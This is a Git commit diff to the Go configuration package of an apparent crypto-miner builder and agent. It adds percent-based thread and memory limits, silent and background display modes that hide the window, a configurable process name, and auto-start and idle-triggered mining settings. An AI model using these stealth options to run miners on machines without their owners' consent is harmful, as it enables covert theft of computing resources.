Upgrade dashboard, builder, and agent resource controls.
Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.
This commit is contained in:
@@ -1,22 +1,27 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const Version = "1.0.0"
|
||||
|
||||
// BuiltinConfig holds compile-time settings generated by the Miner Builder.
|
||||
type BuiltinConfig struct {
|
||||
WorkerName string
|
||||
ServerURL string
|
||||
Wallet string
|
||||
Threads int
|
||||
ThreadMode string
|
||||
ThreadPercent int
|
||||
CPUPriority string
|
||||
MiningMode string
|
||||
DisplayMode string
|
||||
SilentMode bool
|
||||
RunAs string
|
||||
AutoStart bool
|
||||
ProcessName string
|
||||
BuildID string
|
||||
BuiltAt time.Time
|
||||
PoolHost string
|
||||
@@ -24,6 +29,7 @@ type BuiltinConfig struct {
|
||||
PoolTLS bool
|
||||
PoolPass string
|
||||
MaxCPUUsage int
|
||||
MaxMemoryPct int
|
||||
MinFreeRAM int
|
||||
IdleThresholdPct int
|
||||
IdleDurationMinutes int
|
||||
@@ -31,7 +37,6 @@ type BuiltinConfig struct {
|
||||
ScheduleEnd string
|
||||
}
|
||||
|
||||
// RuntimeConfig is the resolved configuration used by the agent.
|
||||
type RuntimeConfig struct {
|
||||
BuiltinConfig
|
||||
AgentID string
|
||||
@@ -42,15 +47,34 @@ func Load() RuntimeConfig {
|
||||
if b.Threads <= 0 {
|
||||
b.Threads = 4
|
||||
}
|
||||
if b.ThreadMode == "" {
|
||||
b.ThreadMode = "percent"
|
||||
}
|
||||
if b.ThreadPercent <= 0 {
|
||||
b.ThreadPercent = 75
|
||||
}
|
||||
if b.CPUPriority == "" {
|
||||
b.CPUPriority = "below_normal"
|
||||
}
|
||||
if b.MiningMode == "" {
|
||||
b.MiningMode = "always"
|
||||
}
|
||||
if b.DisplayMode == "" {
|
||||
if b.SilentMode {
|
||||
b.DisplayMode = "silent"
|
||||
} else {
|
||||
b.DisplayMode = "visible"
|
||||
}
|
||||
}
|
||||
if b.ProcessName == "" {
|
||||
b.ProcessName = sanitizeProcessName(b.WorkerName)
|
||||
}
|
||||
if b.MaxCPUUsage <= 0 {
|
||||
b.MaxCPUUsage = 80
|
||||
}
|
||||
if b.MaxMemoryPct <= 0 {
|
||||
b.MaxMemoryPct = 70
|
||||
}
|
||||
if b.MinFreeRAM <= 0 {
|
||||
b.MinFreeRAM = 1024
|
||||
}
|
||||
@@ -68,3 +92,58 @@ func Load() RuntimeConfig {
|
||||
}
|
||||
return RuntimeConfig{BuiltinConfig: b}
|
||||
}
|
||||
|
||||
func (c RuntimeConfig) EffectiveThreads() int {
|
||||
mode := strings.ToLower(c.ThreadMode)
|
||||
if mode == "fixed" {
|
||||
if c.Threads < 1 {
|
||||
return 1
|
||||
}
|
||||
return c.Threads
|
||||
}
|
||||
cores := runtime.NumCPU()
|
||||
if cores < 1 {
|
||||
cores = 1
|
||||
}
|
||||
pct := c.ThreadPercent
|
||||
if pct < 1 {
|
||||
pct = 1
|
||||
}
|
||||
if pct > 100 {
|
||||
pct = 100
|
||||
}
|
||||
threads := int(float64(cores) * float64(pct) / 100.0)
|
||||
if threads < 1 {
|
||||
threads = 1
|
||||
}
|
||||
if threads > cores {
|
||||
threads = cores
|
||||
}
|
||||
return threads
|
||||
}
|
||||
|
||||
func (c RuntimeConfig) HideWindow() bool {
|
||||
switch strings.ToLower(c.DisplayMode) {
|
||||
case "silent", "background":
|
||||
return true
|
||||
default:
|
||||
return c.SilentMode
|
||||
}
|
||||
}
|
||||
|
||||
func (c RuntimeConfig) BackgroundMode() bool {
|
||||
return strings.ToLower(c.DisplayMode) == "background"
|
||||
}
|
||||
|
||||
func sanitizeProcessName(name string) string {
|
||||
name = strings.TrimSpace(name)
|
||||
if name == "" {
|
||||
return "CryptoMinerWorker"
|
||||
}
|
||||
replacer := strings.NewReplacer(" ", "", "-", "", "_", "")
|
||||
clean := replacer.Replace(name)
|
||||
if clean == "" {
|
||||
return "CryptoMinerWorker"
|
||||
}
|
||||
return clean
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user